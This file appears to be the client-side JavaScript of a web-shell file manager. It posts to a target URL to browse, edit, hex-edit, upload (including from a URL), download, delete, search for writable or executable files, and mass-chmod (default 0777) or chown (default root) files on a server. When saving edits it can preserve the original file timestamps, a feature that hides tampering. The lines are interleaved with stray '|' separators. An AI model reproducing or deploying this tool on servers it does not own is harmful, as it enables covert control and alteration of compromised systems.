if(preserveTimestamp==null) preserveTimestamp = 'true';
|
||
|
send_post({ viewFile: path, viewType: type, preserveTimestamp:preserveTimestamp }, function(res){
|
||
|
if(res!='error'){
|
||
|
$('#explorer').html('');
|
||
|
$('#explorer').html(res);
|
||
|
xpl_bind();
|
||
|
show_tab('explorer');
|
||
|
if((type=='edit')||(type=='hex')){
|
||
|
editResult = (type=='edit')? $('#editResult'):$('#editHexResult');
|
||
|
if(editSuccess=='success'){
|
||
|
editResult.html(' ( File saved )');
|
||
|
}
|
||
|
else if(editSuccess=='error'){
|
||
|
editResult.html(' ( Failed to save file )');
|
||
|
}
|
||
|
editSuccess = '';
|
||
|
}
|
||
|
cbox_bind('editTbl');
|
||
|
}
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function view_entry(el){
|
||
|
if($(el).attr('data-path')!=''){
|
||
|
entry = $(el).attr('data-path');
|
||
|
$('#form').append("<input type='hidden' name='viewEntry' value='"+entry+"'>");
|
||
|
$('#form').submit();
|
||
|
$('#form').html('');
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function ren(path){
|
||
|
title = "Rename";
|
||
|
content = "<table class='boxtbl'><tr><td class='colFit'>Rename to</td><td><input type='text' class='renameFileTo' value='" +path+"' onkeydown=\"trap_enter(event, 'ren_go');\"><input type='hidden' class='renameFile' value='"+path+"'></td></tr><tr><td colspan='2'><span class='button' onclick='ren_go();'>rename</span></td></tr></table>";
|
||
|
show_box(title, content);
|
||
|
}
|
||
|
|
||
|
function ren_go(){
|
||
|
renameFile = $('.renameFile').val();
|
||
|
renameFileTo = $('.renameFileTo').val();
|
||
|
send_post({renameFile:renameFile, renameFileTo:renameFileTo}, function(res){
|
||
|
if(res!='error'){
|
||
|
navigate(res);
|
||
|
$('.boxresult').html('Operation(s) succeeded');
|
||
|
$('.renameFile').val($('.renameFileTo').val());
|
||
|
}
|
||
|
else $('.boxresult').html('Operation(s) failed');
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function newfolder(path){
|
||
|
title = "New Folder";
|
||
|
path = path + 'newfolder-' + time();
|
||
|
content = "<table class='boxtbl'><tr><td class='colFit'>Folder Name</td><td><input type='text' class='newFolder' value='"+path+"' onkeydown=\"trap_enter(event, 'newfolder_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfolder_go();'>create</span></td></tr></table>";
|
||
|
show_box(title, content);
|
||
|
}
|
||
|
|
||
|
function newfolder_go(){
|
||
|
newFolder = $('.newFolder').val();
|
||
|
send_post({newFolder:newFolder}, function(res){
|
||
|
if(res!='error'){
|
||
|
navigate(res);
|
||
|
$('.boxresult').html('Operation(s) succeeded');
|
||
|
}
|
||
|
else $('.boxresult').html('Operation(s) failed');
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function newfile(path){
|
||
|
title = "New File";
|
||
|
path = path + 'newfile-' + time();
|
||
|
content = "<table class='boxtbl'><tr><td class='colFit'>File Name</td><td><input type='text' class='newFile' value='"+path+"' onkeydown=\"trap_enter(event, 'newfile_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfile_go();'>create</span></td></tr></table>";
|
||
|
show_box(title, content);
|
||
|
}
|
||
|
|
||
|
function newfile_go(){
|
||
|
newFile = $('.newFile').val();
|
||
|
send_post({newFile:newFile}, function(res){
|
||
|
if(res!='error'){
|
||
|
view(newFile, 'edit');
|
||
|
$('.boxresult').html('Operation(s) succeeded');
|
||
|
}
|
||
|
else $('.boxresult').html('Operation(s) failed');
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function viewfileorfolder(){
|
||
|
title = "View File / Folder";
|
||
|
content = "<table class='boxtbl'><tr><td><input type='text' class='viewFileorFolder' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'viewfileorfolder_go');\"></td></tr><tr><td><span class='button' onclick='viewfileorfolder_go();'>view</span></td></tr></table>";
|
||
|
show_box(title, content);
|
||
|
}
|
||
|
|
||
|
function viewfileorfolder_go(){
|
||
|
entry = $('.viewFileorFolder').val();
|
||
|
send_post({viewFileorFolder:entry}, function(res){
|
||
|
if(res!='error'){
|
||
|
if(res=='file'){
|
||
|
view(entry, 'auto');
|
||
|
show_tab('explorer');
|
||
|
}
|
||
|
else if(res=='folder'){
|
||
|
navigate(entry);
|
||
|
show_tab('explorer');
|
||
|
}
|
||
|
}
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function del(path){
|
||
|
title = "Delete";
|
||
|
content = "<table class='boxtbl'><tr><td class='colFit'>Delete</td><td><input type='text' class='delete' value='"+path+"' onkeydown=\"trap_enter(event, 'delete_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='delete_go();'>delete</span></td></tr></table>";
|
||
|
show_box(title, content);
|
||
|
}
|
||
|
|
||
|
function delete_go(){
|
||
|
path = $('.delete').val();
|
||
|
send_post({delete:path}, function(res){
|
||
|
if(res!='error'){
|
||
|
navigate(res);
|
||
|
$('.boxresult').html('Operation(s) succeeded');
|
||
|
}
|
||
|
else $('.boxresult').html('Operation(s) failed');
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function find(path){
|
||
|
findfile = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find File</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findfilePath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td style='border-bottom:none;'>Filename contains</td><td style='border-bottom:none;'><input type='text' class='findfileFilename' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileFilenameRegex'></span><span class='floatLeft'>Regex</span> <span class='cBox findfileFilenameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td style='border-bottom:none;'>File contains</td><td style='border-bottom:none;'><input type='text' class='findfileContains' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileContainsRegex'></span><span class='floatLeft'>Regex</span> <span class='cBox findfileContainsInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findfileReadable'></span><span class='floatLeft'>Readable</span> <span class='cBox findfileWritable'></span><span class='floatLeft'>Writable</span> <span class='cBox findfileExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_file();\">find</span></td></tr><tr><td colspan='2' class='findfileResult'></td></tr></tfoot></table>";
|
||
|
findfolder = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find Folder</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findFolderPath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td style='border-bottom:none;'>Foldername contains</td><td style='border-bottom:none;'><input type='text' class='findFoldername' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td></td><td><span class='cBox findFoldernameRegex'></span><span class='floatLeft'>Regex</span> <span class='cBox findFoldernameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findReadable'></span><span class='floatLeft'>Readable</span> <span class='cBox findWritable'></span><span class='floatLeft'>Writable</span> <span class='cBox findExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_folder();\">find</span></td></tr><tr><td colspan='2' class='findResult'></td></tr></tfoot></table>";
|
||
|
$('#explorer').html("<div id='xplUpload'>" +findfile+'<br>'+findfolder+'</div>');
|
||
|
cbox_bind('xplUpload');
|
||
|
}
|
||
|
|
||
|
function find_go_file(){
|
||
|
find_go('file');
|
||
|
}
|
||
|
|
||
|
function find_go_folder(){
|
||
|
find_go('folder');
|
||
|
}
|
||
|
|
||
|
function find_go(findType){
|
||
|
findPath = (findType=='file')? $('.findfilePath').val():$('.findFolderPath').val();
|
||
|
findResult = (findType=='file')? $('.findfileResult'):$('.findResult');
|
||
|
|
||
|
findName = (findType=='file')? $('.findfileFilename').val():$('.findFoldername').val();
|
||
|
findNameRegex = (findType=='file')? $('.findfileFilenameRegex').hasClass('cBoxSelected').toString():$('.findFoldernameRegex').hasClass('cBoxSelected').toString();
|
||
|
findNameInsensitive = (findType=='file')? $('.findfileFilenameInsensitive').hasClass('cBoxSelected').toString():$('.findFoldernameInsensitive').hasClass('cBoxSelected').toString();
|
||
|
|
||
|
findContent = (findType=='file')? $('.findfileContains').val():"";
|
||
|
findContentRegex = (findType=='file')? $('.findfileContainsRegex').hasClass('cBoxSelected').toString():"";
|
||
|
findContentInsensitive = (findType=='file')? $('.findfileContainsInsensitive').hasClass('cBoxSelected').toString():"";
|
||
|
|
||
|
findReadable = (findType=='file')? $('.findfileReadable').hasClass('cBoxSelected').toString():$('.findWritable').hasClass('cBoxSelected').toString();
|
||
|
findWritable = (findType=='file')? $('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString();
|
||
|
findExecutable = (findType=='file')? $('.findfileExecutable').hasClass('cBoxSelected').toString():$('.findExecutable').hasClass('cBoxSelected').toString();
|
||
|
|
||
|
send_post(
|
||
|
{
|
||
|
findType:findType,
|
||
|
findPath:findPath,
|
||
|
findName:findName,
|
||
|
findNameRegex:findNameRegex,
|
||
|
findNameInsensitive:findNameInsensitive,
|
||
|
findContent:findContent,
|
||
|
findContentRegex:findContentRegex,
|
||
|
findContentInsensitive:findContentInsensitive,
|
||
|
findReadable:findReadable,
|
||
|
findWritable:findWritable,
|
||
|
findExecutable:findExecutable
|
||
|
},
|
||
|
function(res){
|
||
|
if(res!='error'){
|
||
|
findResult.html(res);
|
||
|
}
|
||
|
}
|
||
|
);
|
||
|
}
|
||
|
|
||
|
function ul_go_comp(){
|
||
|
ul_go('comp');
|
||
|
}
|
||
|
|
||
|
function ul_go_url(){
|
||
|
ul_go('url');
|
||
|
}
|
||
|
|
||
|
function ul(path){
|
||
|
ulcomputer = "<table class='boxtbl ulcomp'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Computer <a onclick='ul_add_comp();'>(+)</a></p></th></tr></thead><tbody class='ulcompadd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_comp();\">upload</span></td></tr><tr><td colspan='2' class='ulCompResult'></td></tr><tr><td colspan='2'><div id='ulDragNDrop'>Or Drag and Drop files here</div></td></tr><tr><td colspan='2' class='ulDragNDropResult'></td></tr></tfoot></table>";
|
||
|
ulurl = "<table class='boxtbl ulurl'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Url <a onclick='ul_add_url();'>(+)</a></p></th></tr></thead><tbody class='ulurladd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_url();\">upload</span></td></tr><tr><td colspan='2' class='ulUrlResult'></td></tr></tfoot></table>";
|
||
|
content = ulcomputer + '<br>' + ulurl + "<input type='hidden' class='ul_path' value='"+path+"'>";
|
||
|
$('#explorer').html(content);
|
||
|
ul_add_comp();
|
||
|
ul_add_url();
|
||
|
|
||
|
$('#ulDragNDrop').on('dragenter', function(e){
|
||
|
e.stopPropagation();
|
||
|
e.preventDefault();
|
||
|
});
|
||
|
|
||
|
$('#ulDragNDrop').on('dragover', function(e){
|
||
|
e.stopPropagation();
|
||
|
e.preventDefault();
|
||
|
});
|
||
|
|
||
|
$('#ulDragNDrop').on('drop', function(e){
|
||
|
e.stopPropagation();
|
||
|
e.preventDefault();
|
||
|
|
||
|
files = e.target.files || e.dataTransfer.files;
|
||
|
ulResult = $('.ulDragNDropResult');
|
||
|
ulResult.html('');
|
||
|
$.each(files, function(i){
|
||
|
if(this){
|
||
|
ulType = 'DragNDrop';
|
||
|
filename = this.name;
|
||
|
|
||
|
var formData = new FormData();
|
||
|
formData.append('ulFile', this);
|
||
|
formData.append('ulSaveTo', get_cwd());
|
||
|
formData.append('ulFilename', filename);
|
||
|
formData.append('ulType', 'comp');
|
||
|
|
||
|
entry = "<p class='ulRes"+ulType+i+"'><span class='strong'>></span> <a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a> <span class='ulProgress"+ulType+i+"'></span></p>";
|
||
|
ulResult.append(entry);
|
||
|
|
||
|
if(this.size<=0){
|
||
|
$('.ulProgress'+ulType+i).html('( failed )');
|
||
|
$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
|
||
|
$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
|
||
|
}
|
||
|
else{
|
||
|
ul_start(formData, ulType, i);
|
||
|
}
|
||
|
}
|
||
|
});
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function ul_add_comp(path){
|
||
|
path = html_safe($('.ul_path').val());
|
||
|
$('.ulcompadd').append("<tr><td style='width:144px'>File</td><td><input type='file' class='ulFileComp'></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToComp' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameComp' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr>");
|
||
|
}
|
||
|
|
||
|
function ul_add_url(path){
|
||
|
path = html_safe($('.ul_path').val());
|
||
|
$('.ulurladd').append("<tr><td style='width:144px'>File URL</td><td><input type='text' class='ulFileUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToUrl' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr>");
|
||
|
}
|
||
|
|
||
|
function ul_start(formData, ulType, i){
|
||
|
loading_start();
|
||
|
$.ajax({
|
||
|
url: targeturl,
|
||
|
type: 'POST',
|
||
|
data: formData,
|
||
|
cache: false,
|
||
|
contentType: false,
|
||
|
processData: false,
|
||
|
xhr: function(){
|
||
|
myXhr = $.ajaxSettings.xhr();
|
||
|
if(myXhr.upload){
|
||
|
myXhr.upload.addEventListener('progress', function(e){
|
||
|
percent = Math.floor(e.loaded / e.total * 100);
|
||
|
$('.ulProgress'+ulType+i).html('( '+ percent +'% )');
|
||
|
}, false);
|
||
|
}
|
||
|
return myXhr;
|
||
|
},
|
||
|
success: function(res){
|
||
|
if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*the.*limit.*of/)){
|
||
|
res = 'error';
|
||
|
}
|
||
|
|
||
|
if(res=='error'){
|
||
|
$('.ulProgress'+ulType+i).html('( failed )');
|
||
|
}
|
||
|
else{
|
||
|
$('.ulRes'+ulType+i).html(res);
|
||
|
}
|
||
|
loading_stop();
|
||
|
},
|
||
|
error: function(){
|
||
|
loading_stop();
|
||
|
$('.ulProgress'+ulType+i).html('( failed )');
|
||
|
$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
|
||
|
$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
|
||
|
}
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function ul_go(ulType){
|
||
|
ulFile = (ulType=='comp')? $('.ulFileComp'):$('.ulFileUrl');
|
||
|
ulResult = (ulType=='comp')? $('.ulCompResult'):$('.ulUrlResult');
|
||
|
ulResult.html('');
|
||
|
|
||
|
ulFile.each(function(i){
|
||
|
if(((ulType=='comp')&&this.files[0])||((ulType=='url')&&(this.value!=''))){
|
||
|
file = (ulType=='comp')? this.files[0]: this.value;
|
||
|
filename = (ulType=='comp')? file.name: file.substring(file.lastIndexOf('/')+1);
|
||
|
|
||
|
ulSaveTo = (ulType=='comp')? $('.ulSaveToComp')[i].value:$('.ulSaveToUrl')[i].value;
|
||
|
ulFilename = (ulType=='comp')? $('.ulFilenameComp')[i].value:$('.ulFilenameUrl')[i].value;
|
||
|
|
||
|
var formData = new FormData();
|
||
|
formData.append('ulFile', file);
|
||
|
formData.append('ulSaveTo', ulSaveTo);
|
||
|
formData.append('ulFilename', ulFilename);
|
||
|
formData.append('ulType', ulType);
|
||
|
|
||
|
entry = "<p class='ulRes"+ulType+i+"'><span class='strong'>></span> <a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a> <span class='ulProgress"+ulType+i+"'></span></p>";
|
||
|
ulResult.append(entry);
|
||
|
|
||
|
check = true;
|
||
|
if(ulType=='comp'){
|
||
|
check = (file.size<=0);
|
||
|
}
|
||
|
else check = (file=="");
|
||
|
|
||
|
if(check){
|
||
|
$('.ulProgress'+ulType+i).html('( failed )');
|
||
|
$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
|
||
|
$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
|
||
|
}
|
||
|
else{
|
||
|
ul_start(formData, ulType, i);
|
||
|
}
|
||
|
}
|
||
|
});
|
||
|
}
|
||
|
|
||
|
function trap_ctrl_enter(el, e, callback){
|
||
|
if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
|
||
|
if(callback!=null) window[callback]();
|
||
|
}
|
||
|
fix_tabchar(el, e);
|
||
|
}
|
||
|
|
||
|
function edit_save_raw(){
|
||
|
edit_save('edit');
|
||
|
}
|
||
|
|
||
|
function edit_save_hex(){
|
||
|
edit_save('hex');
|
||
|
}
|
||
|
|
||
|
function edit_save(editType){
|
||
|
editFilename = $('#editFilename').val();
|
||
|
editInput = $('#editInput').val();
|
||
|
editSuccess = false;
|
||
|
preserveTimestamp = 'false';
|
||
|
if($('.cBox').hasClass('cBoxSelected')) preserveTimestamp = 'true';
|
||
|
send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserveTimestamp:preserveTimestamp},
|
||
|
function(res){
|
||
|
if(res!='error'){
|
||
|
editSuccess = 'success';
|
||
|
view(editFilename, editType, preserveTimestamp);
|
||
|
}
|
||
|
else editSuccess = 'error';
|
||
|
}
|
||
|
);
|
||
|
}
|
||
|
|
||
|
|
||
|
|
||
|
function mass_act(type){
|
||
|
buffer = get_all_cbox_selected('xplTable', 'xpl_href');
|
||
|
|
||
|
if((type=='cut')||(type=='copy')){
|
||
|
localStorage.setItem('bufferLength', buffer.length);
|
||
|
localStorage.setItem('bufferAction', type);
|
||
|
$.each(buffer,function(i,v){
|
||
|
localStorage.setItem('buffer_'+i, v);
|
||
|
});
|
||
|
}
|
||
|
else if(type=='paste'){
|
||
|
bufferLength = localStorage.getItem('bufferLength');
|
||
|
bufferAction = localStorage.getItem('bufferAction');
|
||
|
if(bufferLength>0){
|
||
|
massBuffer = '';
|
||
|
for(var i=0;i<bufferLength;i++){
|
||
|
if((buff = localStorage.getItem('buffer_'+i))){
|
||
|
massBuffer += buff + '\n';
|
||
|
}
|
||
|
}
|
||
|
massBuffer = $.trim(massBuffer);
|
||
|
|
||
|
if(bufferAction=='cut') title = 'move';
|
||
|
else if(bufferAction=='copy') title = 'copy';
|
||
|
|
||
|
content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>"+title+" here</td><td><input type='text' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'mass_act_go_paste');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('paste');\">"+title+"</span></td></tr></table>";
|
||
|
show_box(ucfirst(title), content);
|
||
|
}
|
||
|
|
||
|
}
|
||
|
else if((type=='extract (tar)')||(type=='extract (tar.gz)')||(type=='extract (zip)')){
|
||
|
if(type=='extract (tar)') arcType = 'untar';
|
||
|
else if(type=='extract (tar.gz)') arcType = 'untargz';
|
||
|
else if(type=='extract (zip)') arcType = 'unzip';
|
||
|
|
||
|
if(buffer.length>0){
|
||
|
massBuffer = '';
|
||
|
$.each(buffer,function(i,v){
|
||
|
massBuffer += v + '\n';
|
||
|
});
|
||
|
massBuffer = $.trim(massBuffer);
|
||
|
title = type;
|
||
|
|
||
|
content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Extract to</td><td><input class='massValue' type='text' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">extract</span></td></tr></table>";
|
||
|
show_box(ucfirst(title), content);
|
||
|
}
|
||
|
}
|
||
|
else if((type=='compress (tar)')||(type=='compress (tar.gz)')||(type=='compress (zip)')){
|
||
|
date = new Date();
|
||
|
rand = date.getTime();
|
||
|
if(type=='compress (tar)'){
|
||
|
arcType = 'tar';
|
||
|
arcFilename = rand+'.tar';
|
||
|
}
|
||
|
else if(type=='compress (tar.gz)'){
|
||
|
arcType = 'targz';
|
||
|
arcFilename = rand+'.tar.gz';
|
||
|
}
|
||
|
else if(type=='compress (zip)'){
|
||
|
arcType = 'zip';
|
||
|
arcFilename = rand+'.zip';
|
||
|
}
|
||
|
|
||
|
if(buffer.length>0){
|
||
|
massBuffer = '';
|
||
|
$.each(buffer,function(i,v){
|
||
|
massBuffer += v + '\n';
|
||
|
});
|
||
|
massBuffer = $.trim(massBuffer);
|
||
|
title = type;
|
||
|
|
||
|
content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Archive</td><td><input class='massValue' type='text' value='"+arcFilename+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">compress</span></td></tr></table>";
|
||
|
show_box(ucfirst(title), content);
|
||
|
}
|
||
|
}
|
||
|
else if(type!=''){
|
||
|
if(buffer.length>0){
|
||
|
massBuffer = '';
|
||
|
$.each(buffer,function(i,v){
|
||
|
massBuffer += v + '\n';
|
||
|
});
|
||
|
massBuffer = $.trim(massBuffer);
|
||
|
title = type;
|
||
|
line = '';
|
||
|
if(type=='chmod') line = "<tr><td class='colFit'>chmod</td><td><input class='massValue' type='text' value='0777' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
|
||
|
else if(type=='chown') line = "<tr><td class='colFit'>chown</td><td><input class='massValue' type='text' value='root' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
|
||
|
else if(type=='touch'){
|
||
|
var now = new Date();
|
||
|
line = "<tr><td class='colFit'>touch</td><td><input class='massValue' type='text' value='"+now.toGMTString()+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
|
||
|
}
|
||
|
|
||
|
content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr>"+line+"<tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+type+"');\">"+title+"</span></td></tr></table>";
|
||
|
show_box(ucfirst(title), content);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
$('.cBoxSelected').removeClass('cBoxSelected');
|
||
|
xpl_update_status();
|
||
|
}
|
||
|
|
||
|
function mass_act_go_tar(){
|
||
|
mass_act_go('tar');
|
||
|
}
|
||
|
|
||
|
function mass_act_go_targz(){
|
||
|
mass_act_go('targz');
|
||
|
}
|
||
|
|
||
|
function mass_act_go_zip(){
|
||
|
mass_act_go('zip');
|
||
|
}
|
||
|
|
||
|
function mass_act_go_untar(){
|
||
|
mass_act_go('untar');
|
||
|
}
|
||
|
|
||
|
function mass_act_go_untargz(){
|
||
|
mass_act_go('untargz');
|
||
|
}
|
||
|
|
||
|
function mass_act_go_unzip(){
|
||
|
mass_act_go('unzip');
|
||
|
}
|
||
|
|
||
|
function mass_act_go_paste(){
|
||
|
mass_act_go('paste');
|
||
|
}
|
||
|
|
||
|
function mass_act_go_chmod(){
|
||
|
mass_act_go('chmod');
|
||
|
}
|
||
|
|
||
|
function mass_act_go_chown(){
|
||
|
mass_act_go('chown');
|
||
|
}
|
||
|
|
||
|
function mass_act_go_touch(){
|
||
|
mass_act_go('touch');
|
||
|
}
|
||
|
|
||
|
function mass_act_go(massType){
|
||
|
massBuffer = $.trim($('.massBuffer').val());
|
||
|
massPath = get_cwd();
|
||
|
massValue = '';
|
||
|
if(massType=='paste'){
|
||
|
bufferLength = localStorage.getItem('bufferLength');
|
||
|
bufferAction = localStorage.getItem('bufferAction');
|
||
|
if(bufferLength>0){
|
||
|
massBuffer = '';
|
||
|
for(var i=0;i<bufferLength;i++){
|
||
|
if((buff = localStorage.getItem('buffer_'+i))){
|
||
|
massBuffer += buff + '\n';
|
||
|
}
|
||
|
}
|
||
|
massBuffer = $.trim(massBuffer);
|
||
|
if(bufferAction=='copy') massType = 'copy';
|
||
|
else if(bufferAction=='cut') massType = 'cut';
|
||
|
}
|
||
|
}
|
||
|
else if((massType=='chmod')||(massType=='chown')||(massType=='touch')){
|
||
|
massValue = $('.massValue').val();
|
||
|
}
|
||
|
else if((massType=='tar')||(massType=='targz')||(massType=='zip')){
|
||
|
massValue = $('.massValue').val();
|
||
|
}
|
||
|
else if((massType=='untar')||(massType=='untargz')||(massType=='unzip')){
|
||
|
massValue = $('.massValue').val();
|
||
|
}
|
||
|
|
||
|
|
||
|
if(massBuffer!=''){
|
||
|
send_post({massType:massType,massBuffer:massBuffer,massPath:massPath,massValue:massValue }, function(res){
|
||
|
if(res!='error'){
|
||
|
$('.boxresult').html(res+' Operation(s) succeeded');
|
||
|
}
|
||
|
else $('.boxresult').html('Operation(s) failed');
|
||
|
navigate(get_cwd());
|
||
|
});
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function xpl_update_status(){
|
||
|
totalSelected = $('#xplTable').find('.cBoxSelected').not('.cBoxAll').length;
|
||
|
if(totalSelected==0) $('.xplSelected').html('');
|
||
|
else $('.xplSelected').html(', '+totalSelected+' item(s) selected');
|
||
|
}
|
||
|
|
||
|
|
||
|
function xpl_bind(){
|
||
|
$('.navigate').off('click');
|
||
|
$('.navigate').on('click', function(e){
|
||
|
path = xpl_href($(this));
|
||
|
navigate(path);
|
||
|
hide_box();
|
||
|
});
|
||
|
|
||
|
$('.navbar').off('click');
|
||
|
$('.navbar').on('click', function(e){
|
||
|
path = $(this).attr('data-path');
|
||
|
navigate(path);
|
||
|
hide_box();
|
||
|
});
|
||
|
|
||
|
$('.newfolder').off('click');
|
||
|
$('.newfolder').on('click', function(e){
|
||
|
path = html_safe(xpl_href($(this)));
|
||
|
newfolder(path);
|
||
|
});
|
||
|
|
||
|
$('.newfile').off('click');
|
||
|
$('.newfile').on('click', function(e){
|
||
|
path = html_safe(xpl_href($(this)));
|
||
|
newfile(path);
|
||
|
});
|
||
|
|
||
|
$('.del').off('click');
|
||
|
$('.del').on('click', function(e){
|
||
|
path = html_safe(xpl_href($(this)));
|
||
|
del(path);
|
||
|
});
|
||
|
|
||
|
$('.view').off('click');
|
||
|
$('.view').on('click', function(e){
|
||
|
path = xpl_href($(this));
|
||
|
view(path, 'auto');
|
||
|
hide_box();
|
||
|
});
|
||
|
|
||
|
$('.hex').off('click');
|
||
|
$('.hex').on('click', function(e){
|
||
|
path = xpl_href($(this));
|
||
|
view(path, 'hex');
|
||
|
});
|
||
|
|
||
|
$('#viewFullsize').off('click');
|
||
|
$('#viewFullsize').on('click', function(e){
|
||
|
src = $('#viewImage').attr('src');
|
||
|
window.open(src);
|
||
|
});
|
||
|
|
||
|
$('.edit').off('click');
|
||
|
$('.edit').on('click', function(e){
|
||
|
path = xpl_href($(this));
|
||
|
view(path, 'edit');
|
||
|
hide_box();
|
||
|
});
|
||
|
|
||
|
$('.ren').off('click');
|
||
|
$('.ren').on('click', function(e){
|
||
|
path = html_safe(xpl_href($(this)));
|
||
|
ren(path);
|
||
|
});
|
||
|
|
||
|
$('.action').off('click');
|
||
|
$('.action').on('click', function(e){
|
||
|
path = html_safe(xpl_href($(this)));
|
||
|
action(path, 'file');
|
||
|
});
|
||
|
|
||
|
$('.actionfolder').off('click');
|
||
|
$('.actionfolder').on('click', function(e){
|
||
|
path = html_safe(xpl_href($(this)));
|
||
|
action(path, 'dir');
|
||
|
});
|
||
|
|
||
|
$('.actiondot').off('click');
|
||
|
$('.actiondot').on('click', function(e){
|
||
|
path = html_safe(xpl_href($(this)));
|
||
|
action(path, 'dot');
|
||
|
});
|
||
|
|
||
|
$('.dl').off('click');
|
||
|
$('.dl').on('click', function(e){
|
||
|
path = html_safe(xpl_href($(this)));
|
||
|
$('#form').append("<input type='hidden' name='download' value='"+path+"'>");
|
||
|
$('#form').submit();
|
||
|
$('#form').html('');
|
||
|
hide_box();
|
||
|
});
|
||
|
|
||
|
$('.ul').off('click');
|
||
|
$('.ul').on('click', function(e){
|
||
|
path = xpl_href($(this));
|
||
|
navigate(path, false);
|
||
|
path = html_safe(path);
|
||
|
ul(path);
|
||
|
hide_box();
|
||
|
});
|
||
|
|
||
|
$('.find').off('click');
|
||
|
$('.find').on('click', function(e){
|
||
|
path = xpl_href($(this));
|
||
|
navigate(path, false);
|
||
|
path = html_safe(path);
|
||
|
find(path);
|
||
|
hide_box();
|
||
|
});
|
||
|
|
||
|
$('#massAction').off('click');
|
||
|
$('#massAction').on('change', function(e){
|
||
|
type = $('#massAction').val();
|
||
|
mass_act(type);
|
||
|
$('#massAction').val('Action');
|
||
|
});
|
||
|
|
||
|
cbox_bind('xplTable','xpl_update_status');
|
||
|
}
|
||
|
|
||
|
